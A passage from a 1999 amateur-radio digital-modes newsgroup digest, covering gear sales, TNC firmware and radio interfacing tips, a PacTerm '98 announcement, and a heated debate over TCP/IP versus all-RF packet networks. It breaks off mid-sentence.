```
fs: HAL P-38 Clover, RTTY, Amtor, Pactor etc.
-------------------------------------------------------
I am switching from a desktop PC to a laptop, so must sell
my HAL P-38 HF Radio DSP Digital Modes Modem board.
(Lots of details are at: http://www.halcomm.com/p38.htm )

Essentially it does Clover, RTTY, AmTor, PacTor etc.
It fits in a slot in just about any PC from a 286 on up that
accepts a standard (not PCI) full length board and has both
a FDD and a HDD. I have the original box, original manual,
cable, and HAL software.
(There are also many secondary sources of freeware,
shareware, and commercial software that use the P-38.)

Asking $195. shipped conus, or best reasonable offer.
Thanks! & 73, and Happy New Year! DavidC K1YP
k1yp@qsl.net or davidc@bit-net.com or 603-894-1174
```

Hi Jon!
Been a long time ... <smile>

Same situation I suspect: needed different host names and IP addresses
for the various certificates for the several different web
servers running on one machine.

> the role of and need for MAC addresses in amateur and/or wireless networks?

This is the issue I've refered to as "zoning" or "horizon".
Think it's all the same thing really: a need to discover or know how
to route a a group of distant machines without needing to know the
details about each machine. DECNET handled it with zone names ...

Perhaps the focus needs to be in both places: host names and
interface addresses. Is there really any big problem with assigning
IP addresses to interfaces which don't actually use IP, just as a
means of giving them a unique identifier? Whatever gateway does the
IP <-> other-mysterious-protocol translations will need to map names
somehow. With IP V6, we won't run out of address soon <smile>

> load.

We do both at work: load share across servers, and have multiple host names
and addresses for each server. Many/many mapping. Does get confusing
at times when we try to talk about things. "There is a problem with
webdev today!" "You mean http://webdev or the machine named webdev
or the Oracle database instance WEBDEV?." "The machine named webdev."
"Oh, ok, that is actually the machine named hanko, located in building E."
"Well, actually it is a database problem." "Well, then you mean the
Oracle instance WEBDEV running on the machine named emerald in building D."
"No, I mean the development instance, not the deployment instance!"
"Ah! Finally got it. That runs on excelsior in San Jose."

Trying to keep things in perspective: how can we best make use of
callsigns in all this addressing / routing mess?

5. Re: FlexNet protocol specification?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-01 00:00:00 UTC
From: Steve Sampson <ssampson@usa-site.net>
Message-ID: <Ke_i2.204$lz1.242267@news.goodnet.com>
Source record: 20499

Depends on the band, and the data rate.

The higher the rate, the less we care. You can even have 128 bit
IP addresses (IPng uses that I believe). Make it HUGE! :-)

Then when you get back to 1200 bps, you start talking about
reducing the overhead. DAMA has proven useful in a LAN type
application.

I don't know if the military still uses TADIL-A (yep they do, I hear it
on 4704.1 kHz), but that was a pretty good protocol (designed
during the Korean war). It was way too manual because it was
designed before computers could run the protocol, thus an
operator listened for pop-ups and added them to the polling list.
Then when they faded out, the operator would delete them from
the list. They used this for HF, and you could hear them from
their distinctive bip bip bip, baaahh... sound. Each bip is
a poll, and the baaahh was the master giving his data. Thus
each station had enough time to send one packet before the
next unit was polled. (the data is converted to complex multiple
tone, and uses FEC).

I guess the answer is 32 bits is the smallest size a callsign will
fit into. (10 numbers+26 letters=36 :: log36(2^32) = 6 char)
Thus any worldwide call of 6 characters can fit in 4 bytes. 8 bytes
is nothing, even on HF.

Today, the whole thing could be automated. Thus who is master
or who is slave can change in real time.

But the problem remains, what would a network of HF nodes
across the country be used for? To send radio mods, for sale,
or Commodore 64 tricks?

If the intention is just to create an unique identifier then 32 bits
is enough for most practical purposes. However, if there also should
be a 1-to-1 mapping between the IDs and the call, this mapping is not
enough. For instance when operating under the CEPT license in a
foreign country, the required format is XX/owncall/P or XXn/owncall/P
(or /M) in which XX(n) identifies in which country you are currently
operating in. Outside CEPT, the owncall/XX format is sometimes used
for foreign amateurs.

There are also some special event stations with more than 6 characters
in the call. There may also be a need for identifying multiple
transmitters under the same call sign.

IMO, it is doubtful if anything is gained by trying to crunch the call
into every header, since a separate frame (sent infrequently) would
still be required to identify the full call sign used for regulatory
purposes.

I understand your point, but let's be serious here. No "special event
station"
is going to join a network for a day. The purpose of the special event is
to maximize contacts to celebrate some event. They are more apt to use
SSB or CW, so why design something for a .01% accidental participation
possibility?

Second, don't mix ID requirements with network algorithms. If you have to
ID a certain way, then build a timer and ID that certain way. If you have
to
ID once every 10 minutes, then that's better than putting that ID in every
packet. You could be done in 10 minutes with the data transfer, thus only
having to only ID one time.

Steve

>less capable than the hybrid network which has evolved.

Following your reasoning above, can I assume that you would support a move to add "hybrid" capabilities to other aspects of the hobby as well? Using a telephone to get though last few contacts needed to score well in a contest or to recieve a DX award certificate would certainly make the ham involved "more capable", so why not? Hmmm?

I do not see the efforts of hams to communicate by digital means to be somehow "less Ham Radio" as you appear to. Why is it that you can understand why Hams use Radio to communicate for voice and CW, but not for digital stuff? I think I smell a bit of prejudice and discrimination here.

So maybe you do not care for the digital stuff, and see it as less important to Hams? That's fine, but keep in mind that what happens to digital hams happens to all others as well. You cannot separate the two. - Spectrum lost from lack of use is gone. Period. Think it through.

>
>The next step, involving http and the "webizing" of things will need
>better transport than we have available over radio at this time, at
>least in most areas of the country and for sure over long hauls.

Given that there is no really suitable substitute for "better transport", I believe that we can still utilize http in a limited fashion right away. The limitations we would then be facing would possibly hasten the development of better transport, but only if some basic level of "usability" is there in the first place. If it's too limited, nobody will be interested in using or improving it.

A while back, I thought of my early experiences with PRODIGY, which was around long before the Internet was easy to access. - In those days, a 9.6kb telephone modem was "fast" and PRODIGY got around this, in part, by storing a set of often-used graphics in the user's hard-drive, along with the PRODIGY software. Occasional updates would be uploaded to users to freshen up the 'look".

So why not create a list of good graphic filename/functions for use in this way with html/packetradio ?

Rather than try to standardize particular graphic files and distribute them, standardize the idea that for ham/html, the filename "arrl.gif" and the function of displaying an ARRL logo would be associated with each other. Then anybody could put a small gif of an ARRL logo in thier HD, name it "arrl.gif", and hams anywhere could then count on calling that internal graphic in thier html code. This is what I mean when I mention "filename/function" pairs. I think that if we standardize a set of these, we can start using at least a small set of graphics without having to constantly be sending them over the air.

I demonstrated the deal I'm talking about on my web page a while back. It works fine, but of course is not nearly as good as having better transport so that the constant transmission of graphic files would not be such an issue. - But right now it is an issue. Maybe this will help get things

started.

I go into more detail in the article "Packet Radio and HTML" on my web-page, if you are interested in more detail. Just push the "Articles" button and go from there. In the article, you'll be given a opportunity to see a graphic file residing in YOUR hard-drive appear on MY web-page. - But only if you want it to.

Hey, do any other web-pages do that, I wonder? You could have some real fun with that, come to think of it...

If he has Windows 95, Windows 98 or Windows NT, Pk-Term '99 would be an option for him, as it does support the PK-900.

It's at http://www.cssincorp.com/pkterm.

The original dos based software that comes with the PK-900, PcPackratt lite doesn't support the HF Modes, but if he still wants that, he can probably call Timewave and get it.

If you are using digital for making "official" DXCC or contest contacts, I doubt anyone would support use of non-radio means. But DXCC and contesting are different from traffic handling. Traffic handlers have used non-radio means for years, before a digital network was even conceived of.

>I do not see the efforts of hams to communicate by digital means to be
>somehow "less Ham Radio" as you appear to. Why is it that you can
understand
>why Hams use Radio to communicate for voice and CW, but not for digital
>stuff? I think I smell a bit of prejudice and discrimination here.

Darned if I can see anything that Hans said that indicates he believes that digital is "less Ham Radio." Aren't strawmen nice? They're so easy to knock down!

>So maybe you do not care for the digital stuff, and see it as less
important
>to Hams? That's fine, but keep in mind that what happens to digital hams
>happens to all others as well. You cannot separate the two. - Spectrum lost

>from lack of use is gone. Period. Think it through.

Think this through: If we insist that only "pure" all-RF digital networks be used -- networks that are certain to be less capable than hybrid networks -- all but the fanatical few (you and Hank :-) will abandon the digital networks altogether. Then there will be *less* use of spectrum by digital stations, not more. And if/when we need to build an ad hoc network of digital stations to pass emergency traffic, practically nobody will be equipped to do so.

Hi all

I'm developing a digital software for windows+soundcard and come in front to the problem to detect the frequency of the incoming signal. Counting the wave-length from zero-crossing doesnt work due to noise. Does anyone knows a good trick (i.e. some sort of FFT)?

Any suggestion is very appreciated.

Thanks,

Inasmuch as the 'FSK' mode in some radios (TS450/TS850/IC706, etc.) use an internal 'AFSK _generator_", can this mode be used with PACTOR II, or must you still use audio in the USB/LSB mode?

I've heard of a number of examples, notably in county-hunting, where a county hunter was called on the phone and told to get on his radio because a rare county had just popped up. Is this sufficient to invalidate the county-hunter's award?

Not because it can't be done, of course.
It can't be done by a beginner, but that does not mean it can't be done.

The N6GN design has been reproduced and shown to work. But it is
an amateur radio design, i.e. the fun is in the experiment not in the
actual use.

Hello David:

About your best be is to download the PK TERM 99 program available thru
http://www.timewave.com. The version you download is a demo version but will
let you operate in VHF packet mode to get the look and feel of the program. It
can be activated with an activation number purchased from Timewave. It is a
32-bit program. If he is running old hardware PC PakRATT and PC PakRATT for
Windows are also still available.

John Douglas
Timewave technology

Check http://www.timewave.com for the latest DSP upgrade for the PK_232 and
PK-232MBX

I don't see why that would be the case. It's kind of unsporting and cheapens the entire concept behind county-hunting, but still it's not illegal. It's just kind of stupid and cheap.

You know as well as I that NTS traffic handling is used to allow use of Ham Radio resources by non-hams, in much the same way MARS is set up with phone patches. The Ham Digital Network is not set up for communication by non-hams... It's a network by and for Hams.You also know that both NTS traffic handlers and MARS ops have always been a credit to the hobby. Non-Ham means are used, yes, but only to bridge the final gap to/from the non-ham participant. The great bulk of the communication is done by Ham Radio, leaving a minor non-Ham component. To suggest otherwise would be both untrue and a great insult to some of Amateur Radio's finest Hams.

Your casual contrast between those great Hams and the "LandLine Lid" element that is primarily responsible for the downturn of the US packet net simply does not hold water, and points out your anti-digital radio bias in this matter.
"LandLine Lids have purposefully "routed around" the efforts of Hams to communicate by radio, depriving them of traffic which you and I both know is intended to be moved via Amateur Radio. The Hams are edged out by the "LandLine Lids", and you should be ashamed of yourself for defending the practice. I'm surprised that the ARRL is interested in a person who expresses the opinions you do. The ARRL is FOR Ham Radio, right? Why aren't you?

Ham Radio is just not good enough for you, huh? Your insistence upon "less capable" Ham networks is strictly in your own mind. Radio does different things than the telephone, OM, and quite often does those things better. One of these is emergency communications when the commercial carriers and Internet access is either dead, or pre-empted by the authorities.

Are you really a Ham? Do I REALLY have to explain to you why Hams use Ham Radio?

>all but the fanatical few (you and Hank :-) will abandon the digital
>networks altogether.

Horse-Hockey. It appears that you have absolutely no knowlege of the Ham Radio Digital Net, and it's state not only here in the US, but in other parts of the world. -- I'll give you a little clue, though . In the places where Non-Ham means of communication are not allowed within Ham Radio Digital networks, those networks have advanced and grown while the unprotected nets such as we have the the US have regressed. This regression is directly attributable to the introduction and final saturation of the US digital net with Non-Ham means of communication which had no business being there in the first place.

That's right - Where Hams have used Radio to communicate they have learned how to do it better, and where they have given up on Ham Radio and cheated by using the Internet and "pretending" it is Ham Radio, the Ham Digital Network has regressed and shrank instead of advancing and growing. Building

a "virtual ham radio network" on the Internet has turned out to be a classic case of self-destructive short-sightedness. I thought everybody knew that.

>Then there will be *less* use of spectrum by digital
>stations, not more. And if/when we need to build an ad hoc network of
>digital stations to pass emergency traffic, practically nobody will be
>equipped to do so.

Sorry OM, but defeatism and lack of faith in your fellow Hams just won't cut it. I've heard your kind of negativity a million times, always from apologists for "Radioless Ham Radio". Again, I'll say that you really should be ashamed of yourself for listening to and parroting such negativity.

To see what Ham can do digitally with Radio, look into the FlexNet network in Europe. Conditions there are different, but not THAT different. You need to either develop a faith in the intelligence and ability of your fellow Hams and comprehend that RADIO is the central factor here, or if you can't perhaps you should move on to another hobby. If you have no particular disire to see what can be done with Radio, maybe you're in the wrong place. We need fighters, not quitters in Amateur Radio today.

>website/link that *might*
>have it? tnx again.
>
>Long live A010!

Public Domain software that will run the AEA PK900 was written by an HB9 a while back.

Look for PHS-750 and THS-750 or 850. They are a DOS version and the THS version is a native OS/2 version that will drive the AEA 900 as well as other AEA boxes. Not everything the AEA 900 can do is enabled, but the THS-850 has been running my AEA-900 for YEARS under OS/2 with not a failure yet...

He has also written PD code in the same general motife for the DRSI..

Once I got an app that would run the AEA line in native OS/2, all my multi-tasking problems vanished. With SIO for the DOS-VDM sides of the house, the system has never HAD to be rebooted for a couple years now!

And that's with all four COM ports alive and working at once in different applications simultaneously...

You can also run the AEA PWINN PakRatt program for WIN 3.1 in an OS/2 DOS-VDM session for the AEA 900 as well as the PK-98 or the PK-88. It also will run mindlessluy forever un-molested, but you will have to, in my experience, also get Ray Gwinn's SIO involved here too with OS/2 and also learn about TAME320, OSTSR and other poll damping programs..

The DOS-VDM sessions, to my experience, as WIN 3.1 operations under OS/2 as well as all other COM apps, require the use of the TAME320 or later polling program task buster program to steady them out. Even with TAME320, OSTSR and SIO running, a full screen session in the DOS-VDM world will max out the CPU...

In a windowed session with these boxes, you still, in WIN 3.1, face at least a 50% load on the CPU from the PakRatt program..

You may not think much about that, until you find out like I've found out, that the F0 Bug in all Classic Pentium chips is a *VERY* real problem for us where a multi-tasking system is in use. Any app that lets a Classic Pentium, which includes all the MMX group in that class, max out the CPU will leave you locked at sometime! The Pentium PRO and the Pentium II, along with the AMD chips, to my knowledge and so said by others, are not involved in this curious F0 Bug deal. Yep, to my knowledge ALL Classic Pentiums at EVERY speed are flawed with this rather unique and rather minor curious bug...

We've seen countless lockups from it and maxed CPU apps, until we discovered what it was...

Your Mileage May Vary .... YMMV ..

Pactor II and Clover are multi-tone signals so you MUST use LSB or USB. The PTC-II does have capabilities of direct FSK keying for the other modes. USB/LSB works every bit as good as FSK so long as your signal is clean and not overdriven. Many rigs will not permit the selection of narrow CW filters while in USB/LSB and that can be a problem in receive.

Excellent Condition. All band reciever. Also known as the Sangean ATS-803A.
Medium size. Gets good mileage on six D batteries. Sounds better than a Sony
2010. Performs as well as the DX398 /ATS909.
$75 includes shipping.

From: Seth Miller <seth.miller@NOSPAMworldnet.att.net>
Message-ID: <368FDC51.A2DF7702@NOSPAMworldnet.att.net>
Source record: 20348

There should be no problem using AFSK in LSB mode, as long as you make sure that you don't overdrive the transmitter. Just set the ALC reading as low as possible while still retaining full power out, and you should be OK.

Many like to use FSK so as to not have to worry about the above, but it is not mandatory by any means. If you want to use FSK you will need to connect the appropriate FSK output from your TNC to the FSK input on your rig (not all radios permit FSK input but the TS-850 probably does). Right now you do not have these connected, so your transmitter is in a constant mark (low tone) condition. That won't change until you hook something up to the FSK input...

- Seth N6BMB

(Please remove the 'NOSPAM' text from the above address to send a personal reply. I apologize for the inconvenience.)

I believe it would be safer to set the mike gain so that there is no ALC action *even* if this results in less than full power output. Many rigs won't take continuous duty (i.e. RTTY) with full power output anyway.

49. EPROM Image for MFJ1270B Needed

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-03 00:00:00 UTC
From: wildbob@usit.net
Message-ID: <368ef58f.19639931@news.usit.net>
Source record: 20534

A friend of mine gave me a 1270B TNC that was used as a packet node. The EPROM has been changed and I need to put it back to the original one. If someone could supply me with a .hex or .bin dump of the EPROM image, I can make a new one. Attaching it in an email or where I can download it off the net would be appreciated.

Thanks,
Bob KB4UG

Don't be confused with two different error correction types.

The Dual designers are right , you're right too !

The dual authors talk about high-level error recovery (high level,
logical link, end to end).

You talk about FEC (baseband, radio link, node to node).

Source record: 20540

Since both MAC and Atari is provided with suitable sw for theese
purposes, i wonder when PC will have programs for 100% decoding
of both Baudot, Sitor, Pactor, FEC, Amtor, etc with use of the standard
soundblaster and microphone input.

Not nescessary shareware, commercial prices up to 100+ us$!
I've searched for long times on the net with little or no luck at all.
RITTY, BTL, Hamcomm, Radioraft, is not what i want, allthough
Radioraft works ok with clear strong signals, but is slow in syncronizing to
fading in signal levels...

Of course, it must be 100% win95-compatible...

Modes required :

Baudot/ITA2
Sitor-A
Sitor-B
Amtor
Pactor
ARQ-E, ARQ-M, ARQ-N
TWINPLEX
FEC-systems
CIS-systems.

Hope I'm not giving away any secrets, but TAPR is shortly going to be introducing a widget that will interface a Flash Memory card to an IDE controller. You will be able to boot from the memory card and use it just like an 8MB (or whatever) disk. The idea is to use it for diskless switches running Linux or whatever at remote sites. Bye bye, moving parts!

Not sure when it will be available, or what the price will be, but the beta units on their way.

The issue is always "better transport" ... i.e. faster.
1200 is too slow to be interesting, 9600 is right on the margin.
I've had my web server visible from the radio network for something
like 4 years now, and it has seen little use because of speed.

Your browser cache will take care of this for you: things only need to be
transported once (unless they change).

>
> Hey, do any other web-pages do that, I wonder? You could have some real fun
> with that, come to think of it...

Web stuff is pretty easy. If you could access my home page over ham radio,
you would get some pictures, some background music (random choices
from a program you create using the web page), etc. etc. It's all pretty simple

if you have the right tools: a good web server, good middleware, and some
good web authoring tools. But all the interesting stuff takes bandwidth.
There is an nntp server with the usual BBS bulletins, smtp, ftp, pop, whatever.

So once I get some 56k network in place, perhaps some hams will find all
this stuff useful. At 1200 it sure isn't, and at 9600 it is just barely usable.

65. PacTerm '98 Final Release 1.2 announced

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-04 00:00:00 UTC
From: Rick Ruhl <ricker@cssincorp.com>
Message-ID: <#WWGxGDO#GA.286@upnetnews02.moswest.msn.net>
Source record: 20359

Lawrence , Kansas and Muscle Shoals, Alabama. January 4, 1999:

Kantronics and Creative Services Software announce PacTerm ®98, release 1.2 will be available February 1, 1999. This upgrade to the best selling program takes advantage of the new features in Windows 95. Windows 98, Windows NT; supports the forthcoming Windows 2000, and integrates these features with the 'Host Mode' of the Kantronics wireless modems (TNC®s).

PacTerm 98 requires Windows 95, Windows 98 or Windows NT with 8 meg of ram and 6 megabytes of free hard drive space. The program supports Com1 through Com35 and has 'point and click' commands for the VHF or HF modes that the Kantronics TNCs support. The program is written in robust C++, using the Microsoft Foundation Class Library.

A preview version of PacTerm ®98 release 1.2 has been in use since December, 1998 . The installed base of users that purchased the Preview version and previous release versions will be able to upgrade to the 1.2 release version at no additional charge.

A suggested retail price of $79.95 will be offered to the amateur radio community for PacTerm 98, Release 1.2. Purchase can be made through Kantronics. The program also offers a demo mode which, while limited in functionality, will be free. Demo mode for packet only will allow single port, multi-stream packet operation for the Kantronics TNC line. Purchase of the full featured version will include free upgrades to all updates up to version 2.0; hence users need not have to worry about upgrade costs and fixes with a version 1.x product.

The program is now available for downloading from the web at two addresses. http://www.cssincorp.com/pacterm and http://www.kantronics.com.

PacTerm ®98 release 1.2 for Windows 95, Windows 98 and Windows NT host mode terminal program for the Kantronics® TNC®s takes advantage of the true multitasking capabilities of Windows 95, Windows 98 and Windows NT and uses standard Windows commands for ease of use. From CW to HF packet, from single- to dual-port TNCs, it's now more fun to use the digital modes of amateur radio. Capabilities include:

G-TOR® and G-TOR monitoring
Multi-stream, multi-port support
Stream selection with a click of the mouse
Text and binary file transfers
User defined colors and fonts for received, transmitted and command text
Separate window for non-packet HF modes, from CW through NavTex
Multiple monitor windows (including network traffic window)
File level compatibility with the Microsoft Office suite of products

Mini logging program using Microsoft Access database compatibility
Embedded ANSI in Pactor mode
Connection address bar
Support for CDROM based Callbooks (Sams, QRZ, Buckmaster, Flying Horse)

Kantronics's web address is http://www.kantronics.com
Creative Services Software is at http://www.cssincorp.com.
Windows, Windows 95 and Windows NT are Registered Trademarks of Microsoft Corporation.

66. hamradio-online.com: New articles, new mailing list feature, and lots more!

Ham Radio Online is now in its 4th year, as one of the oldest, continuously published "e-zines" on the Internet. Ham Radio Online is a non-commercial (no advertising, nothing to sell) web site devoted to ham radio and telecommunications topics. Ham Radio Online is presently read in 93 countries!

Come visit us at http://hamradio-online.com

We've got lots of new stories online now, and more coming in the weeks ahead. Plus there are hundreds of articles in our massive online Library. We've just added a new mailing list feature as well with more cool stuff yet to come! And of course, we have an expanding set of links in our other sites directories, real-time propagation reports and predictions, emergency communications info and lots more.

If you see news, have an interesting story to tell, or spot an article about ham radio at another web site, drop us a line and let us know about it.

Thanks and 73,

FFT's could work. How often are you trying to detect the frequency
(measurements/sec)?

Sure, but end to end error recovery should not be the only mechanism
in an amateur radio network. Each hop in the link should have its own
error recovery mechanism to try to provide as best service over that hop
as possible. The end-to-end mechanism should only be in effect as a
final safeguard against failures inside the network.

Not different certificates, although that would be one reason, just a
need to serve different document trees for different purposes.

The units are the same size but internally they are completly
different internally. You cant upgrade a KPC3 to a KPC3+ at all.
Even the firmware is different. the KPC3 uses a 27C512 in a 28 pin
package, where as the KPC3+ uses a 27C010 kind of 32 pin eprom.

The only thing you can do with a KPC3, is upgrade its firmware to
version 8.2

KPC3+ came out almost two years ago I believe. Its latest firmware is
version 8.3, which only helps for GPS input in stand alone APRS
tracker applications.

For use in a APRS digi , version 8.2 for KPC3 or KPC3+ is all that is
required.

I am trying to confirm weither or not there was a version greater than 5.0 for the older KAMs. This would be before the daughter board was required. I've asked Kantronics three times, and I just get the common "i dont know" answers.

Also, if possible, does anyone have an old 5.0 prom for KAM laying around since youve upgraded possibly? Please email me if you do.

hehe, Since we staticly linked MFC into the app, it's actually smaller than having the app and the mfc dll. The big thing that takes up space, is the ODBC drivers for the database access.

Other than that, it'll fit into about a meg of disk space, if you already have the ODBC stuff installed.

I'm from the old days too, use to carry around MASM, LINK, and EXE2BIN and my source on a floppy. Quite a difference nowdays.

77. Re: KAM firmware version question

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-05 00:00:00 UTC
From: Patricia Gibbons <wa6ube@ix.netcom.com>
Message-ID: <3692DAA9.27A2@ix.netcom.com>
Source record: 20371

Kantronics is up to Ver 8.0 and perhaps somewhat higher
at this point, tho you will need to add the "enhancement Board"
to your unit to take full advantage of this firmware upgrade.

I would recommend that you go the enhancement board and ver 8.x
route as you will have gtor, and pactor along with some extras
such as the newer "tor standby mode" where you can leave your
KAM in "tor standby" and a calling station can connect with
amtor, pactor, or gtor and your unit will automatically switch
to the correct protocol. This is great for un-attended operation
where someone can leave a message in your PBBS mailbox.

Other features include APRS/GPS support, and NAVTEX monitoring,

Un-attended ops are now legal as long as it is not "auto-forward"
i.e. like auto message forwarding systems that need special
authorization from the FCC for use on HF.

I have had my KAM since about 1983, and have upgraded it about
4 times from v2.83 to v8.x and currently use it with the
new Motorola MICOM-2R military/ruggedized HF radio...

Sorry, but I didn't save my old proms..

Trish

> Thanks
>
> Jim VE9WH

Jim,

I've done this with my TS850S with no problem. If you want to use FSK mode your need to interface the 1278 to the TS850 as follows.

On the back of the 1278, connect the LED side of an opto-isolator to the TTL pins GND and FSK (watch the polarity when connecting the opto-isolator to the TTL pins).

On the back of the TS850, connect the other side of an opto-isolator to the RTTY jack (the RCA jack located at top right of the rear of the rig as you are looking at the rear of the radio). It is the third jack from the right on the top row of jacks.

Select the FSK mode, set the operating frequency, set the REC/SEND switch to SEND, or key the XCVR from the keyboard.

Adjust the CAR control so that the meter deflection is within the ALC zone.

Now you are ready to operate RTTY.

The commands are the same as you have used in the LSB mode, CTRL+T to transmit, and CTRL+R to receive.

Good Luck and I hope you have fun RTTY FSK with the TS850S.

Hello
I have a Dentron 160 10L HF amp, Kenwood TS 820, PK 232MBX ver 5.I,
D-104 mic, would like to trade this for a Kenwood TS 50 or TS 530 or TS
830 or a TS 930. The Amp needs tubes. The tubes that are in it are
572b's but the amp will take 811a's. The rig could have the receiver
gone over. I'm running The PK-232 TS 820 and the amp on 7.1010 Mhz
packet station. If you are interested drop me a line with your phone
number. My call is N3CND and I'm good in the call book.

If you can receive the EutelSat W2 satellite on 16 degrees East you can see PI6ALK, the Amateur Television relais in The Netherlands. It is in digital MPEG format, with a Nokia Mediamaster and a 1,2 meter dish I have perfect clear reception video/audio (B5, hi).
Note that the new W2 satellite has a very big footprint, with complete coverage of Europe and parts of Asia and North Africa/Middle East.

Parameters:

Polarity: Horizontal
Frequency: 12.701 GHz
Symbolrate 3.012
FEC 5/6

Best regards,

Peter..

>like 4 years now, and it has seen little use because of speed.

Or you could say that it has seen little use because it did not function
nearly as well as software which is designed to work at commonly utilized
data rates for packet. (1.2-9.6kb)

They used what worked well, and ignored what didn't. No surprise there.

>>

>
>Your browser cache will take care of this for you: things only need to be
>transported once (unless they change).

And they do. Besides that, very few packet links are dedicated, high-speed links such as one might get from lets say, the telephone, and under normal conditions the transmission of just a few graphics files can tie things up pretty fast. Hams use packet over long paths, weak links, ect, all the time. Software which can handle poor operating conditions will always be better for Hams than software which can't.

By using graphics pre-installed in a "permanent cache", we can use those graphics with very little time/spectrum penalty. You still have to include additional code to call those graphics, but you never have to transmit or recieve them over a busy packet freq.

>There is an nntp server with the usual BBS bulletins, smtp, ftp, pop,
whatever.

I don't subscribe to the idea that only bandwidth-hogs can be interesting or useful.

It does appear to be accurate about amateur tcpip, but like most Hams, I have simply avoided amateur tcpip and spent more effort with stuff that DOES work well with radios, under the operating conditions Hams commonly encounter.

>
>So once I get some 56k network in place, perhaps some hams will find all
>this stuff useful. At 1200 it sure isn't, and at 9600 it is just barely
usable.

That's easy to say. I haven't had much luck generating interest in high-speed packet in this area. Lots of hams have had poor luck generating interest in high-speed packet. Everybody has been solemnly nodding thier heads in agreement that it would be better for over a decade now, but those same hams lose interest quickly when they are faced with the prospect of

actually building up network links.

As long as any lid with a telephone can "route around" the efforts of Hams to use radios for digital communications, you can stand by for Hams to be uncertain about devoting their time and money on improving the basic RF infrastructure. Too many hams have put out that time and effort, just to see their work undermined and undercut by LandLine Lids.

I am not in the area to receive the digital video, but I am curious
about what kind of equipment you need to receive or transmit in this format.
Can it be obtained easily or would I have to build it? Also do you know how
much bandwith it uses, modulation format, etc. ?

Thanks for the INFO

I am using Windows 98 but not for packet. Nothing beats good old DOS
(am using version 6.20) Set up your computer for dual boot and use
your good old DOS program with DOS operating system. That is REAL
DOS. Windows 98 DOS is only an attempt to run some old DOS programs.
Some of them do not work properly in Windows 98 DOS.
Good luck you will not need because it works fine.

73 and Happy New Year 1999.

So far as I've been able to determine, IP is the only real "dog" protocol commonly used by Hams. By "dog", I mean that it has consistently proven to be a poor performer with Radio. That's why there is no HF tcpip, and very little of it on the 1.2-9.6kb links which are most common in the US. You have to go to great lengths to approximate the speeds found on the telephone to get decent performance out of it. That's why amateur tcpip fanatics are the only Hams on the entire planet which have gone so far as to suggest and promote "Radioless Ham Radio", where Internet links are used to simulate an amateur tcpip RF network which does not actually exist.

So you could read it as "just about everything else besides tcpip" when I mention better-performing protocols for Hams.

No, just the plain truth. I've seen the same thing happening here, and have heard of it happening in many other places. You can run tcpip services at normal packet speeds (1.2-9.6kb) but hardly anyone except a few fanatics will utilize it because it will be so SLOW. In other words....

They used what worked well, and ignored what didn't. No surprise there.

This is not necessarily true. If you use the AX25 L2 as a virtual
circuit for
TCP/IP and a protocol booster (eg. you drop TCP retransmissions before
passing them
to the L2 circuit), TCP/IP works very well with 9600 bps or even slower
speeds. This is the way
we here in Germany do TCP/IP now for about 2 years and it works quite
well.

The idea is to use VJ header compression (now defined in AX25V2.2) and
the above mentioned
protocol booster. This has been implemented in the IP-router of
PC/FlexNet first and
then ported to Wampes and now the Linux Kernel AX25.

Keep in mind that TCP/IP was *never* designed to be used on wireless
networks. It can stand
very little packet loss which it believes to be caused by network
congestion (which would
be wrong if the packet loss is caused by bit errors - which you find on
wireless
networks). So if you want to use it, you have to use a powerful L2
protocol underneath it.

One more time, what protocols are you specifically talking about?
I ask again because you've dodged the question, and I think
you may be mixing apples and oranges in your comparisons. Please
enumerate the protocols you're talking about so I can understand
what you're saying. Otherwise, you're simply saying "IP sucks",
which isn't particularly useful or even, in a general sense, credible.

I'm not trying to be a bastard about details here, but, in engineering,
details matter if one is to develop an understanding. Right now, you
appear to condemn the performance of IP without actually understanding
it, and that's not helpful.

Well, I've been in packet for a while (10+ years), and I've been an
engineer longer (15+ years). I'm not asking you to hold my hand,
Charles; I'm asking you to suspend your emotional posturing and instead
have a credible technical discussion, so I can better understand your
point of view. Repeatedly interating "IP sucks" does nothing to help.

Proof by repetitive assertion is no proof at all. Hank says he's been
making IP-based services available for several years but has seen
little use. You assert this is because the services are slow, part
of an emotional platform you promote. How about thinking about one
important practical issue:

1. Amateur packet radio is still, for the most part, mired in the
paradigm of using an AX.25 TNC with a terminal program.

There are folks like us that experiment, and some of us even write
software, but most amateurs are appliance operators when it comes to
packet. I'm not condemning appliance operators, afterall, they're
still *OPERATORS*, but these guys are, for the most part, not interested
in anything but the simplest AX.25 services, connecting to the local
BBS, DX-cluster or spewing APRS.

> They used what worked well, and ignored what didn't. No surprise there.

This statement, attempting to prove that IP packet doesn't work well,
is simply ignoring the practical reality, which is that they used what
they *had*, and ignored what they didn't have.

SMTP/NNTP make perfectly usable mail and bulletin transport
mechanisns, even at 1200 baud. Hank is clearly on the right track.

A lot of people have thought about this; Glenn (N6GN) even published
an interesting project using Gunnplexers to build a high-speed
point-to-point link. There are several challenges, however; the
cost can be high, the expertise required is apparently greater than
that of many amateurs, and, to be really useful, a high level of
cooperation is required to build infrastructure.

At the bottom line, the issue isn't technology. The problem that I
perceive is that there isn't adequate interest and material commitment
(i.e., money) among the broader amateur community to build
such infrastructure.

> protocol underneath it.

Ahh, someone with a clue. One of the *advantages* of TCP is that
it tends to accumulate data during periods of network congestion.
So, rather than attempting to send a number of smaller fragments,
exacerbating the impact of collisions, TCP will send a single
large frame. This actually improves the protocol efficiency at
time when network congestion is worst.

However, as Alexander points out, data loss due to a poor link
has the opposite problem. A strong MAC protocol, or L2 connection,
is required, as well as tuning the TCP parameters to acknowledge
that a reliable L2 protocol is being used.

Note that TCP isn't unique in confusing frame loss due to error with
frame loss due to congestion, and this simply highlights the generic
problem with coupling upper layer protocols to lower layer link
quality mechnisms.

The fact is, the most popular connection-oriented protocol in
packet radio, AX.25 L2, has a similar problem distinguishing
between error and congestion, which is why savvy operators set
'MAXFRAME' to 1. Otherwise, it has the exact same tendency to
'dog-pile' on a poor link.

When you mention a "protocol booster", how different is this from
setting the retry timer on TCP to a very long value?

In the UK (this area west of London anyway) we have come to the
conclusion that UI connectionless operation of IP to users from the hub
and virtual circuits between the hubs is the way to go.

If, for example, you have a 10% loss on all links, IP will recover from
that on a *single* hop provided you can get at the timers to put an
upper limit on them to make them more agressive (say a 30 second
max rather than the usual 120sec or infinity).

The inter-hub links operate in virtual circuit mode which causes a reduction
in performance on a single hop but breaks even on the second. By the third
you are ahead by 20% and by the fourth by 70% (rough figures based on
